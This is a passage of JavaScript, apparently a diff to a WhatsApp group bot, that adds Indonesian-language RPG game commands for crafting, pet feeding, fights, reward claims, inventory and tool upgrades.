/ 60000) % 60 + let s = Math.floor(ms / 1000) % 60 + console.log({ms,h,m,s}) + return [h, m, s].map(v => v.toString().padStart(2, 0) ).join(':') +} + let __timers = (new Date - global.db.users[m.sender].lastclaim) + let _timers = (43200000 - __timers) + let timers = clockString(_timers) + let user = global.db.users[m.sender] + if (new Date - global.db.users[m.sender].lastclaim > 43200000) { + replygcxeon(`Kamu sudah mengclaim dan mendapatkan *1000* ๐Ÿ’ตmoney dan *1* ๐Ÿฅคpotion`) + user.money += 1000 + user.potion += 1 + user.lastclaim = new Date * 1 + } else replygcxeon(`silahkan tunggu *${timers}* lagi untuk bisa mengclaim lagi`) +} +break + +//================================================================== +case 'craft': +case 'crafting': { + if (!m.isGroup) return reply(mess.only.group) + let type = (args[0] || '').toLowerCase() + let _type = (args[0] || '').toLowerCase() + let user = global.db.users[m.sender] + let { stock } = global.db.settings[botNumber] + + let caption = ` +โ–ˆโ–€โ–€โ–€โ–€โ–ˆโ–€โ–€โ–€โ–€โ–ˆโ–€โ–€โ–€โ–€โ–ˆ +โ–ˆโ”€โ”€โ”€โ”€โ–ˆโ”€โ”€โ”€โ”€โ–ˆโ”€โ”€โ”€โ”€โ–ˆ +โ–ˆโ–„โ–„โ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–ˆ +โ–ˆโ–€โ–€โ–€โ–€โ–ˆโ–€โ–€โ–€โ–€โ–ˆโ–€โ–€โ–€โ–€โ–ˆ +โ–ˆโ”€โ”€โ”€โ”€โ–ˆโ”€โ”€โ”€โ”€โ–ˆโ”€โ”€โ”€โ”€โ–ˆ +โ–ˆโ–„โ–„โ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–ˆ +โ–ˆโ–€โ–€โ–€โ–€โ–ˆโ–€โ–€โ–€โ–€โ–ˆโ–€โ–€โ–€โ–€โ–ˆ +โ–ˆโ”€โ”€โ”€โ”€โ–ˆโ”€โ”€โ”€โ”€โ–ˆโ”€โ”€โ”€โ”€โ–ˆ +โ–ˆโ–„โ–„โ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–ˆ + +Gunakan Format *${command} [type]* +contoh *${command} pickaxe* + +*ไน‚ List Yang Bisa Di Craft* +โ–ง Pickaxe โ›๏ธ +โ–ง Sword โš”๏ธ +โ–ง Fishingrod ๐ŸŽฃ +โ–ง Armor ๐Ÿฅผ +โ–ง Atm ๐Ÿ’ณ + +*ไน‚ Recipe* +โ–ง Pickaxe โ›๏ธ +โŒช 10 Kayu +โŒช 5 Batu +โŒช 5 Iron +โŒช 20 String + +โ–ง Sword โš”๏ธ +โŒช 10 Kayu +โŒช 15 Iron + +โ–ง Fishingrod ๐ŸŽฃ +โŒช 10 Kayu +โŒช 2 Iron +โŒช 20 String + +โ–ง Armor ๐Ÿฅผ +โŒช 30 Iron +โŒช 1 Emerald +โŒช 5 Diamond + +โ–ง Atm ๐Ÿ’ณ +ใ€‰3 Emerald +ใ€‰6 Diamond +ใ€‰10k Money +` + try { + if (/craft|Crafting/i.test(command)) { + const count = args[1] && args[1].length > 0 ? Math.min(99999999, Math.max(parseInt(args[1]), 1)) : !args[1] || args.length < 3 ? 1 : Math.min(1, count) + switch (type) { + case 'pickaxe': + if (user.pickaxe > 0) return replygcxeon('Kamu sudah memilik ini') + if(user.rock < 5 || user.wood < 10 || user.iron < 5 || user.string < 20) return replygcxeon(`Barang tidak cukup!\nUntuk membuat pickaxe. Kamu memerlukan : ${user.wood < 10 ? `\n${10 - user.wood} kayu๐Ÿชต` : ''} ${user.iron < 5 ? `\n${5 - user.iron} ironโ›“` : ''}${user.string < 20 ? `\n${20 - user.string} String๐Ÿ•ธ๏ธ` : ''}${user.rock < 5 ? `\n${5 - user.rock} Batu ๐Ÿชจ` : ''}`) + user.wood -= 10 + stock.wood += 10 + + user.iron -= 5 + stock.iron += 5 + + user.rock -= 5 + stock.rock += 5 + + user.string -= 20 + stock.string += 20 + + user.pickaxe += 1 + user.pickaxedurability = 40 + replygcxeon("Sukses membuat 1 pickaxe ๐Ÿ”จ") + break + case 'sword': + if (user.sword > 0) return replygcxeon('Kamu sudah memilik ini') + if(user.wood < 10 || user.iron < 15) return replygcxeon(`Barang tidak cukup!\nUntuk membuat sword. Kamu memerlukan :${user.wood < 10 ? `\n${10 - user.wood} kayu๐Ÿชต` : ''}${user.iron < 15 ? `\n${15 - user.iron} ironโ›“๏ธ` : ''}`) + user.wood -= 10 + stock.wood += 10 + + user.iron -= 15 + stock.iron += 15 + + user.sword += 1 + user.sworddurability = 40 + replygcxeon("Sukses membuat 1 sword ๐Ÿ—ก๏ธ") + break + case 'fishingrod': + if (user.fishingrod > 0) return replygcxeon('Kamu sudah memilik ini') + if(user.wood < 20 || user.iron < 5 || user.string < 20) return replygcxeon(`Barang tidak cukup!\nUntuk membuat pancingan. Kamu memerlukan :${user.wood < 20 ? `\n${20 - user.wood} kayu๐Ÿชต` : ''}${user.iron < 5 ? `\n${5 - user.iron} ironโ›“` : ''}${user.string < 20 ? `\n${20 - user.string} String๐Ÿ•ธ๏ธ` : ''}`) + user.wood -= 10 + stock.wood += 10 + + user.iron -= 2 + stock.iron +=2 + + user.string -= 20 + stock.string += 20 + + user.fishingrod += 1 + user.fishingroddurability = 40 + replygcxeon("Sukses membuat 1 Pancingan ๐ŸŽฃ") + break + case 'armor': + if (user.armor > 0) return replygcxeon('Kamu sudah memilik ini') + if(user.iron < 30 || user.emerald < 1 || user.diamond < 5) return replygcxeon(`Barang tidak cukup!\nUntuk membuat armor. Kamu memerlukan :${user.iron < 30 ? `\n${30 - user.iron} Iron โ›“๏ธ` : ''}${user.emerald < 1 ? `\n${1 - user.emerald} Emerald โ‡๏ธ` : ''}${user.diamond < 5 ? `\n${5 - user.diamond} Diamond ๐Ÿ’Ž` : ''}`) + user.emerald -= 1 + stock.emerald += 1 + + user.iron -= 30 + stock.iron += 30 + + user.diamond -= 5 + stock.diamond += 5 + + user.armor += 1 + user.armordurability = 50 + replygcxeon("Sukses membuat 1 Armor ๐Ÿฅผ") + break + case 'atm': + if (user.atm > 0) return replygcxeon('Kamu sudah memilik ini') + if(user.emerald < 3 || user.money < 10000 || user.diamond < 6) return replygcxeon(`Barang tidak cukup!\nUntuk membuat atm. Kamu memerlukan :${user.money < 10000 ? `\n${10000 - user.money} Money ๐Ÿ’น` : ''}${user.emerald < 3 ? `\n${3 - user.emerald} Emerald โ‡๏ธ` : ''}${user.diamond < 6 ? `\n${6 - user.diamond} Diamond ๐Ÿ’Ž` : ''}`) + user.emerald -= 3 + stock.emerald += 3 + + user.diamond -= 6 + stock.diamond += 6 + + user.money -= 10000 + user.atm += 1 + user.fullatm = 500000000 + replygcxeon("Sukses membuat 1 Atm ๐Ÿ’ณ") + break + default: + return await replygcxeon(`${caption}`) + } + } + } catch (err) { + replygcxeon("Error\n\n\n" + err.stack) + } +} +break +//================================================================== +case 'feed': { + if (!m.isGroup) return reply(mess.only.group) +function clockString(ms) { + let h = isNaN(ms) ? '--' : Math.floor(ms / 310000) + let m = isNaN(ms) ? '--' : Math.floor(ms / 60000) % 60 + let s = isNaN(ms) ? '--' : Math.floor(ms / 1000) % 60 + return [h, ' H ', m, ' M ', s, ' S'].map(v => v.toString().padStart(2, 0)).join('') +} +function pickRandom(list) { + return list[Math.floor(Math.random() * list.length)] +} + + let info = ` +ไน‚ List Pet: +๐Ÿˆ โ€ข Cแด€แด› +๐Ÿ• โ€ข Dแดษข +๐ŸŽ โ€ข Hแดส€sแด‡ +๐ŸฆŠ โ€ข Fแดx +๐Ÿค– โ€ข Rแดส™แด + +*โž  Example:* ${command}fcat +`.trim() +let pesan = pickRandom(['ษดสแดœแดแดแด~', 'แด›สœแด€ษดแด‹s', 'แด›สœแด€ษดแด‹สแดแดœ ^-^', '...', 'แด›สœแด€ษดแด‹ สแดแดœ~', 'แด€ส€ษชษขแด€แด›แดแดœ ^-^']) + let type = (args[0] || '').toLowerCase() + let emo = (type == 'fox' ? '๐ŸฆŠ':'' || type == 'cat' ? '๐Ÿˆ':'' || type == 'dog' ? '๐Ÿ•':'' || type == 'horse' ? '๐Ÿด':'' || type == 'robo'? '๐Ÿค–':'' ) + let user = global.db.users[m.sender] + let rubah = global.db.users[m.sender].fox + let kuda = global.db.users[m.sender].horse + let kucing = global.db.users[m.sender].cat + let anjing = global.db.users[m.sender].dog + let robot = global.db.users[m.sender].robo + switch (type) { + case 'fox': + if (rubah == 0) return replygcxeon('สแดแดœ แด…แดษด\'แด› สœแด€แด แด‡ แด›สœษชs แด˜แด‡แด› สแด‡แด›!') + if (rubah == 10) return replygcxeon('สแดแดœส€ แด˜แด‡แด› ษชs แดแด€x สŸแด‡แด แด‡สŸ !') + let __waktur = (new Date - user.foxlastfeed) + let _waktur = (10000 - __waktur) + let waktur = clockString(_waktur) + if (new Date - user.foxlastfeed > 10000) { + if (user.petfood > 0) { + user.petfood -= 1 + user.foxexp += 20 + user.foxlastfeed = new Date * 1 + replygcxeon(`า“แด‡แด‡แด…ษชษดษข *${type}*...\n*${emo} ${type.capitalize()}:* ${pesan}`) + if (rubah > 0) { + let naiklvl = ((rubah * 100) - 1) + if (user.foxexp > naiklvl) { + user.fox += 1 + user.foxexp -= (rubah * 100) + replygcxeon(`*แด„แดษดษขส€แด€แด›s!* , สแดแดœส€ แด˜แด‡แด› สŸแด‡แด แด‡สŸแดœแด˜`) + } + } + } else replygcxeon(`สแดแดœส€ แด˜แด‡แด› า“แดแดแด… ษดแดแด› แด‡ษดแดแดœษขสœ`) + } else replygcxeon(`สแดแดœส€ แด˜แด‡แด› ษชs า“แดœสŸสŸ, แด›ส€ส า“แด‡แด‡แด…ษชษดษข ษชแด› แด€ษขแด€ษชษด ษชษด\nโžž *${waktur}*`) + break + case 'cat': + if (kucing == 0) return replygcxeon('สแดแดœ แด…แดษด\'แด› สœแด€แด แด‡ แด›สœษชs แด˜แด‡แด› สแด‡แด›!') + if (kucing == 10) return replygcxeon('สแดแดœส€ แด˜แด‡แด› ษชs แดแด€x สŸแด‡แด แด‡สŸ !') + let __waktuc = (new Date - user.catlastfeed) + let _waktuc = (10000 - __waktuc) + let waktuc = clockString(_waktuc) + if (new Date - user.catlastfeed > 10000) { + if (user.petfood > 0) { + user.petfood -= 1 + user.catexp += 20 + user.catlastfeed = new Date * 1 + replygcxeon(`า“แด‡แด‡แด…ษชษดษข *${type}*...\n*${emo} ${type.capitalize()}:* ${pesan}`) + + if (kucing > 0) { + let naiklvl = ((kucing * 100) - 1) + if (user.catexp > naiklvl) { + user.cat += 1 + user.catexp -= (kucing * 100) + replygcxeon(`*แด„แดษดษขส€แด€แด›s!* , สแดแดœส€ แด˜แด‡แด› สŸแด‡แด แด‡สŸแดœแด˜`) + } + } + } else replygcxeon(`สแดแดœส€ แด˜แด‡แด› า“แดแดแด… ษดแดแด› แด‡ษดแดแดœษขสœ`) + } else replygcxeon(`สแดแดœส€ แด˜แด‡แด› ษชs า“แดœสŸสŸ, แด›ส€ส า“แด‡แด‡แด…ษชษดษข ษชแด› แด€ษขแด€ษชษด ษชษด\nโžž *${waktuc}*`) + break + case 'dog': + if (anjing == 0) return replygcxeon('สแดแดœ แด…แดษด\'แด› สœแด€แด แด‡ แด›สœษชs แด˜แด‡แด› สแด‡แด›!') + if (anjing == 10) return replygcxeon('สแดแดœส€ แด˜แด‡แด› ษชs แดแด€x สŸแด‡แด แด‡สŸ !') + let __waktua = (new Date - user.doglastfeed) + let _waktua = (10000 - __waktua) + let waktua = clockString(_waktua) + if (new Date - user.doglastfeed > 10000) { + if (user.petfood > 0) { + user.petfood -= 1 + user.dogexp += 20 + user.doglastfeed = new Date * 1 + replygcxeon(`า“แด‡แด‡แด…ษชษดษข *${type}*...\n*${emo} ${type.capitalize()}:* ${pesan}`) + if (anjing > 0) { + let naiklvl = ((anjing * 100) - 1) + if (user.dogexp > naiklvl) { + user.dog += 1 + user.dogexp -= (anjing * 100) + replygcxeon(`*แด„แดษดษขส€แด€แด›s!* , สแดแดœส€ แด˜แด‡แด› สŸแด‡แด แด‡สŸแดœแด˜`) + } + } + } else replygcxeon(`สแดแดœส€ แด˜แด‡แด› า“แดแดแด… ษดแดแด› แด‡ษดแดแดœษขสœ`) + } else replygcxeon(`สแดแดœส€ แด˜แด‡แด› ษชs า“แดœสŸสŸ, แด›ส€ส า“แด‡แด‡แด…ษชษดษข ษชแด› แด€ษขแด€ษชษด ษชษด\nโžž *${waktua}*`) + break + case 'horse': + if (kuda == 0) return replygcxeon('สแดแดœ แด…แดษด\'แด› สœแด€แด แด‡ แด›สœษชs แด˜แด‡แด› สแด‡แด›!') + if (kuda == 10) return replygcxeon('สแดแดœส€ แด˜แด‡แด› ษชs แดแด€x สŸแด‡แด แด‡สŸ !') + let __waktuk = (new Date - user.horselastfeed) + let _waktuk = (10000 - __waktuk) + let waktuk = clockString(_waktuk) + if (new Date - user.horselastfeed > 10000) { + if (user.petfood > 0) { + user.petfood -= 1 + user.horseexp += 20 + user.horselastfeed = new Date * 1 + replygcxeon(`า“แด‡แด‡แด…ษชษดษข *${type}*...\n*${emo} ${type.capitalize()}:* ${pesan}`) + if (kuda > 0) { + let naiklvl = ((kuda * 100) - 1) + if (user.horseexp > naiklvl) { + user.horse += 1 + user.horseexp -= (kuda * 100) + replygcxeon(`*แด„แดษดษขส€แด€แด›s!* , สแดแดœส€ แด˜แด‡แด› สŸแด‡แด แด‡สŸแดœแด˜`) + } + } + } else replygcxeon(`สแดแดœส€ แด˜แด‡แด› า“แดแดแด… ษดแดแด› แด‡ษดแดแดœษขสœ`) + } else replygcxeon(`สแดแดœส€ แด˜แด‡แด› ษชs า“แดœสŸสŸ, แด›ส€ส า“แด‡แด‡แด…ษชษดษข ษชแด› แด€ษขแด€ษชษด ษชษด\nโžž *${waktuk}*`) + break + case 'robo': + if (robot == 0) return replygcxeon('สแดแดœ แด…แดษด\'แด› สœแด€แด แด‡ แด›สœษชs แด˜แด‡แด› สแด‡แด›!') + if (robot == 10) return replygcxeon('สแดแดœส€ แด˜แด‡แด› ษชs แดแด€x สŸแด‡แด แด‡สŸ !') + let __wakturb = (new Date - user.robolastfeed) + let _wakturb = (10000 - __wakturb) + let wakturb = clockString(_wakturb) + if (new Date - user.robolastfeed > 10000) { + if (user.petfood > 0) { + user.petfood -= 1 + user.roboexp += 20 + user.robolastfeed = new Date * 1 + replygcxeon(`า“แด‡แด‡แด…ษชษดษข *${type}*...\n*${emo} ${type.capitalize()}:* ${pesan}`) + if (robot > 0) { + let naiklvl = ((robot * 100) - 1) + if (user.roboexp > naiklvl) { + user.robo += 1 + user.roboexp -= (robot * 100) + replygcxeon(`*แด„แดษดษขส€แด€แด›s!* , สแดแดœส€ แด˜แด‡แด› สŸแด‡แด แด‡สŸแดœแด˜`) + } + } + } else replygcxeon(`สแดแดœส€ แด˜แด‡แด› า“แดแดแด… ษดแดแด› แด‡ษดแดแดœษขสœ`) + } else replygcxeon(`สแดแดœส€ แด˜แด‡แด› ษชs า“แดœสŸสŸ, แด›ส€ส า“แด‡แด‡แด…ษชษดษข ษชแด› แด€ษขแด€ษชษด ษชษด\nโžž *${wakturb}*`) + break + default: + return replygcxeon(`${info}`) + } +} +break +//================================================================== +case 'fighting': + case 'fight': { + if (!m.isGroup) return reply(mess.only.group) + XeonBotInc.fight = XeonBotInc.fight ? XeonBotInc.fight: {} + let user = global.db.users[m.sender] + if (typeof XeonBotInc.fight[m.sender] != "undefined" && XeonBotInc.fight[m.sender] == true) return replygcxeon(`Kamu masih bertarung.`) + let users = participants.map(a => a.id) + var lawan + lawan = users[Math.floor(users.length * Math.random())] + while (typeof global.db.users[lawan] == "undefined" || lawan == m.sender) { + lawan = users[Math.floor(users.length * Math.random())] + } + replygcxeon(`*Kamu* (level ${user.level}) menantang *${XeonBotInc.getName(lawan)}* (level ${global.db.users[lawan].level}) dan sedang dalam pertarungan.\n\nTunggu 5 menit lagi dan lihat siapa yg menang.`) + XeonBotInc.fight[m.sender] = true + await delay(300000) + let kesempatan = [] + for (let i = 0; i < user.level; i++) kesempatan.push(m.sender) + for (let i = 0; i < global.db.users[lawan].level; i++) kesempatan.push(lawan) + let pointPemain = 0 + let pointLawan = 0 + for (let i = 0; i < 10; i++) { + let unggul = getRandom(0, kesempatan.length - 1) + if (kesempatan[unggul] == m.sender) pointPemain += 1 + else pointLawan += 1 + } + if (pointPemain > pointLawan) { + let hadiah = (pointPemain - pointLawan) * 10000 + user.money += hadiah + user.limit += 1 + replygcxeon(`*${XeonBotInc.getName(m.sender)}* [${pointPemain * 10}] - [${pointLawan * 10}] *${XeonBotInc.getName(lawan)}*\n\n*Kamu* (level ${user.level}) menang melawan *${XeonBotInc.getName(lawan)}* (level ${global.db.users[lawan].level}) karena kamu ${alasanMenang[getRandom(0, alasanMenang.length - 1)]}\n\nHadiah . ${hadiah.toLocaleString()}\n+1 Limit`) + } else if (pointPemain < pointLawan) { + let denda = (pointLawan - pointPemain) * 100000 + user.money -= denda + user.limit += 1 + replygcxeon(`*${XeonBotInc.getName(m.sender)}* [${pointPemain * 10}] - [${pointLawan * 10}] *${XeonBotInc.getName(lawan)}*\n\n*Kamu* (level ${user.level}) kalah melawan *${XeonBotInc.getName(lawan)}* (level ${global.db.users[lawan].level}) karena kamu ${alasanKalah[getRandom(0, alasanKalah.length - 1)]}\n\nMoney kamu berkurang ${denda.toLocaleString()}\n+1 Limit`) + } else { + replygcxeon(`*${XeonBotInc.getName(m.sender)}* [${pointPemain * 10}] - [${pointLawan * 10}] *${XeonBotInc.getName(lawan)}*\n\nHasil imbang kak, ga dapet apa apa`) + } + delete XeonBotInc.fight[m.sender] +} +break +//================================================================== +case 'gajian': { + if (!m.isGroup) return reply(mess.only.group) +function JaM(ms) { + let h = isNaN(ms) ? '60' : Math.floor(ms / 3600000) % 60 + return [h].map(v => v.toString().padStart(2, 0) ).join(':') +} + +function MeNit(ms) { + let m = isNaN(ms) ? '60' : Math.floor(ms / 60000) % 60 + return [m].map(v => v.toString().padStart(2, 0) ).join(':') +} + +function DeTik(ms) { + let s = isNaN(ms) ? '60' : Math.floor(ms / 1000) % 60 + return [s].map(v => v.toString().padStart(2, 0) ).join(':') +} + + let LastClaim = global.db.users[m.sender].lastclaim + let cdm = `${MeNit(new Date - LastClaim)}` + let cds = `${DeTik(new Date - LastClaim)}` + let cd1 = Math.ceil(44 - cdm) + let cd2 = Math.ceil(59 - cds) + if (new Date - global.db.users[m.sender].lastclaim > 2700000) { + global.db.users[m.sender].money += 50000 + global.db.users[m.sender].exp += 100 + replygcxeon('Nih gaji lu +Rp50000') + global.db.users[m.sender].lastclaim = new Date * 1 + } else return replygcxeon(`Lu udah ambil jatah hari ini.\n\nTunggu ${cd1} Menit ${cd2} Detik!`) +} +break +//================================================================== +case 'me': +case 'inventory': { + if (!m.isGroup) return reply(mess.only.group) +let inventory = { + others: { + joinlimit: true, + health: true, + money: true, + chip: true, + exp: true, + }, + items: { + bibitanggur: true, + bibitmangga: true, + bibitpisang: true, + bibitapel: true, + bibitjeruk: true, + anggur: true, + mangga: true, + pisang: true, + apel: true, + jeruk: true, + potion: true, + trash: true, + wood: true, + rock: true, + string: true, + emerald: true, + diamond: true, + gold: true, + iron: true, + umpan: true, + upgrader: true, + pet: true, + petfood: true, + }, + durabi: { + sworddurability: true, + pickaxedurability: true, + fishingroddurability: true, + armordurability: true, + }, + tools: { + armor: { + '0': 'โŒ', + '1': 'Leather Armor', + '2': 'Iron Armor', + '3': 'Gold Armor', + '4': 'Diamond Armor', + '5': 'Emerald Armor', + '6': 'Crystal Armor', + '7': 'Obsidian Armor', + '8': 'Netherite Armor', + '9': 'Wither Armor', + '10': 'Dragon Armor', + '11': 'Hacker Armor' + }, + sword: { + '0': 'โŒ', + '1': 'Wooden Sword', + '2': 'Stone Sword', + '3': 'Iron Sword', + '4': 'Gold Sword', + '5': 'Copper Sword', + '6': 'Diamond Sword', + '7': 'Emerald Sword', + '8': 'Obsidian Sword', + '9': 'Netherite Sword', + '10': 'Samurai Slayer Green Sword', + '11': 'Hacker Sword' + }, + pickaxe: { + '0': 'โŒ', + '1': 'Wooden Pickaxe', + '2': 'Stone Pickaxe', + '3': 'Iron Pickaxe', + '4': 'Gold Pickaxe', + '5': 'Copper Pickaxe', + '6': 'Diamond Pickaxe', + '7': 'Emerlad Pickaxe', + '8': 'Crystal Pickaxe', + '9': 'Obsidian Pickaxe', + '10': 'Netherite Pickaxe', + '11': 'Hacker Pickaxe' + }, + fishingrod: { + '0': 'โŒ', + '1': 'Wooden Fishingrod', + '2': 'Stone Fishingrod', + '3': 'Iron Fishingrod', + '4': 'Gold Fishingrod', + '5': 'Copper Fishingrod', + '6': 'Diamond Fishingrod', + '7': 'Emerald Fishingrod', + '8': 'Crystal Fishingrod', + '9': 'Obsidian Fishingrod', + '10': 'God Fishingrod', + '11': 'Hacker Fishingrod' + } + }, + crates: { + common: true, + uncommon: true, + mythic: true, + legendary: true, + }, + pets: { + horse: 10, + cat: 10, + fox: 10, + dog: 10, + robo: 10, + }, + cooldowns: {} +} + + let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? XeonBotInc.user.jid : m.sender + let user = global.db.users[who] + + if (!(who in global.db.users)) return replygcxeon(`User ${who} not in database`) + + let sortedlevel = Object.entries(global.db.users).sort((a, b) => b[1].level - a[1].level) + let userslevel = sortedlevel.map(v => v[0]) + let sortedchip = Object.entries(global.db.users).sort((a, b) => b[1].chip - a[1].chip) + let userschip = sortedchip.map(v => v[0]) + let sortedmoney = Object.entries(global.db.users).sort((a, b) => b[1].money - a[1].money) + let usersmoney = sortedmoney.map(v => v[0]) + let sorteddiamond = Object.entries(global.db.users).sort((a, b) => b[1].diamond - a[1].diamond) + let usersdiamond = sorteddiamond.map(v => v[0]) + let sortedbank = Object.entries(global.db.users).sort((a, b) => b[1].bank - a[1].bank) + let usersbank = sortedbank.map(v => v[0]) + let sortedgold = Object.entries(global.db.users).sort((a, b) => b[1].gold - a[1].gold) + let usersgold = sortedgold.map(v => v[0]) + + let isMods = [XeonBotInc.decodeJid(XeonBotInc.user.id), ...global.owner.filter(([number, _, isDeveloper]) => number && isDeveloper).map(([number]) => number)].map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').includes(who) + let isOwner = m.fromMe || isMods || [XeonBotInc.decodeJid(XeonBotInc.user.id), ...global.owner.filter(([number, _, isDeveloper]) => number && !isDeveloper).map(([number]) => number)].map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').includes(who) + let isPrems = isOwner || new Date() - user.premiumTime < 0 + + let limit = isPrems ? 'Unlimited' : user.limit + let tools = Object.keys(inventory.tools).map(v => user[v] && `*${global.rpg.emoticon(v)} ${v}:* ${typeof inventory.tools[v] === 'object' ? inventory.tools[v][user[v]?.toString()] : `Level(s) ${user[v]}`}`).filter(v => v).join('\n').trim() + let items = Object.keys(inventory.items).map(v => user[v] && `*${global.rpg.emoticon(v)} ${v}:* ${user[v]}`).filter(v => v).join('\n').trim() + let dura = Object.keys(inventory.durabi).map(v => user[v] && `*${global.rpg.emoticon(v)} ${v}:* ${user[v]}`).filter(v => v).join('\n').trim() + let crates = Object.keys(inventory.crates).map(v => user[v] && `*${global.rpg.emoticon(v)} ${v}:* ${user[v]}`).filter(v => v).join('\n').trim() + let pets = Object.keys(inventory.pets).map(v => user[v] && `*${global.rpg.emoticon(v)} ${v}:* ${user[v] >= inventory.pets[v] ? 'Max Levels' : `Level(s) ${user[v]}`}`).filter(v => v).join('\n').trim() + let cooldowns = Object.entries(inventory.cooldowns).map(([cd, { name, time }]) => cd in user && `*โœง ${name}*: ${new Date() - user[cd] >= time ? 'โœ…' : 'โŒ'}`).filter(v => v).join('\n').trim() + + let caption = ` +๐Ÿง‘๐Ÿปโ€๐Ÿซ แดœsแด‡ส€: *${user.registered ? user.name : XeonBotInc.getName(who)}* ${user.level ? ` +โž  ${global.rpg.emoticon('level')} level: ${user.level}` : ''} ${user.limit ? ` +โž  ${global.rpg.emoticon('limit')} limit: ${limit}` : ''} +${Object.keys(inventory.others).map(v => user[v] && `โž  ${global.rpg.emoticon(v)} ${v}: ${user[v]}`).filter(v => v).join('\n')} ${tools ? ` + +*สŸษช๊œฑแด› แด›แดแดสŸs* : +${tools}` : ''}${items ? ` + +*สŸษช๊œฑแด› ษชแด›แด‡แดs* : +${items}` : ''}${crates ? ` + +*สŸษช๊œฑแด› แด„ส€แด€แด›แด‡s* : +${crates}` : ''}${pets ? ` + +*สŸษช๊œฑแด› แดฉแด‡แด›s* : +${pets}` : ''}${cooldowns ? ` + +*สŸษช๊œฑแด› แด€ส€แด„สœษชแด‡แด แด‡แดแด‡ษดแด›* : +${global.rpg.emoticon('chip')} แด›แดแด˜ แด„สœษชแด˜ *${userschip.indexOf(who) + 1}* แด…แด€ส€ษช *${userschip.length}* +${global.rpg.emoticon('money')} แด›แดแด˜ แดแดษดแด‡ส *${usersmoney.indexOf(who) + 1}* แด…แด€ส€ษช *${usersmoney.length}* +${global.rpg.emoticon('bank')} แด›แดแด˜ ส™แด€ษดแด‹ *${usersbank.indexOf(who) + 1}* แด…แด€ส€ษช *${usersbank.length}* +${global.rpg.emoticon('level')} แด›แดแด˜ สŸแด‡แด แด‡สŸ *${userslevel.indexOf(who) + 1}* แด…แด€ส€ษช *${userslevel.length}* +${global.rpg.emoticon('diamond')} แด›แดแด˜ แด…ษชแด€แดแดษดแด… *${usersdiamond.indexOf(who) + 1}* แด…แด€ส€ษช *${usersdiamond.length}* +${global.rpg.emoticon('gold')} แด›แดแด˜ ษขแดสŸแด… *${usersgold.indexOf(who) + 1}* แด…แด€ส€ษช *${usersgold.length}* + +โ™ป๏ธ *แด„แดสŸสŸแด‡แด„แด› ส€แด‡แดกแด€ส€แด…s* : +${cooldowns}` : ''} +*โœง dungeon: ${user.lastdungeon == 0 ? 'โœ…': 'โŒ'}* +*โœง mining: ${user.lastmining == 0 ? 'โœ…': 'โŒ'}* +`.trim() + + replygcxeon(`${caption}`) +} +break +//================================================================== +case 'upgrade': { + if (!m.isGroup) return reply(mess.only.group) + let user = global.db.users[m.sender] + let wood = user.wood * 1 + let rock = user.rock * 1 + let string = user.string * 1 + let money = user.money * 1 + let iron = user.iron * 1 + let fishingrod = user.fishingrod * 1 + let pickaxe = user.pickaxe * 1 + let sword = user.sword * 1 + let diamond = user.diamond * 1 + let emerald = user.emerald * 1 + let armor = user.armor * 1 + let atm = user.atm + let type = (args[0] || '').toLowerCase() + let prefix = command + + let teks = `โ–ˆโ–€โ–€โ–€โ–€โ–ˆโ–€โ–€โ–€โ–€โ–ˆโ–€โ–€โ–€โ–€โ–ˆ +โ–ˆโ”€โ”€โ”€โ”€โ–ˆโ”€โ”€โ”€โ”€โ–ˆโ”€โ”€โ”€โ”€โ–ˆ +โ–ˆโ–„โ–„โ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–ˆ +โ–ˆโ–€โ–€โ–€โ–€โ–ˆโ–€โ–€โ–€โ–€โ–ˆโ–€โ–€โ–€โ–€โ–ˆ +โ–ˆโ”€โ”€โ”€โ”€โ–ˆโ”€โ”€โ”€โ”€โ–ˆโ”€โ”€โ”€โ”€โ–ˆ +โ–ˆโ–„โ–„โ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–ˆ +โ–ˆโ–€โ–€โ–€โ–€โ–ˆโ–€โ–€โ–€โ–€โ–ˆโ–€โ–€โ–€โ–€โ–ˆ +โ–ˆโ”€โ”€โ”€โ”€โ–ˆโ”€โ”€โ”€โ”€โ–ˆโ”€โ”€โ”€โ”€โ–ˆ +โ–ˆโ–„โ–„โ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–ˆ + +Gunakan Format *${command} [type]* +contoh *${command} fishingRod* + +*๐Ÿ“ŒList yang Bisa Di Upgrade* +${rpg.emoticon('fishingrod')}FishingRod +${rpg.emoticon('pickaxe')}Pickaxe +${rpg.emoticon('sword')}Sword +${rpg.emoticon('armor')}Armor +${rpg.emoticon('atm')}Atm +`.trim() + + switch (type) { + case 'fishingrod': + if (fishingrod == 0) { + let lmao = `anda belum memiliki *๐ŸŽฃFishingRod* +untuk mendapatkannya ketik *${command}craft fishingrod*` + return reply(`${lmao}`) + } + if (fishingrod > 9) return reply(`*${rpg.emoticon('fishingrod')}FishingRod* kamu sudah level max`) + let _wood = fishingrod * 100 + let _string = fishingrod * 100 + let _money = fishingrod * 1000000 + if (wood < _wood || string < _string || money < _money) return reply(`Material kamu kurang!!${wood < _wood ? `\n${rpg.emoticon('wood')}wood Kamu Kurang *${_wood - wood}*` : ''}${string < _string ? `\n${rpg.emoticon('string')}String Kamu Kurang *${_string - string}*` : ''}${user.money < _money ? `\n${rpg.emoticon('money')}Uang Kamu Kurang *${_money - money}*` : ''}`) + user.fishingrod += 1 + user.wood -= _wood * 1 + user.string -= _string * 1 + user.money -= _money * 1 + user.fishingroddurability = 0 + user.fishingroddurability += fishingrod * 50 + reply(`Succes mengupgrade *${rpg.emoticon('fishingrod')}FishingRod*`) + break + case 'pickaxe': + if (pickaxe == 0) { + let lmao = `anda belum memiliki *${rpg.emoticon('pickaxe')}Pickaxe* +untuk memilikinya ketik *${command}craft Pickaxe*` + return reply(`${lmao}`) + } + if (pickaxe > 9) return reply(`*${rpg.emoticon('pickaxe')}Pickaxe* kamu sudah level max!!`) + let __rock = pickaxe * 250 + let __wood = pickaxe * 150 + let __money = 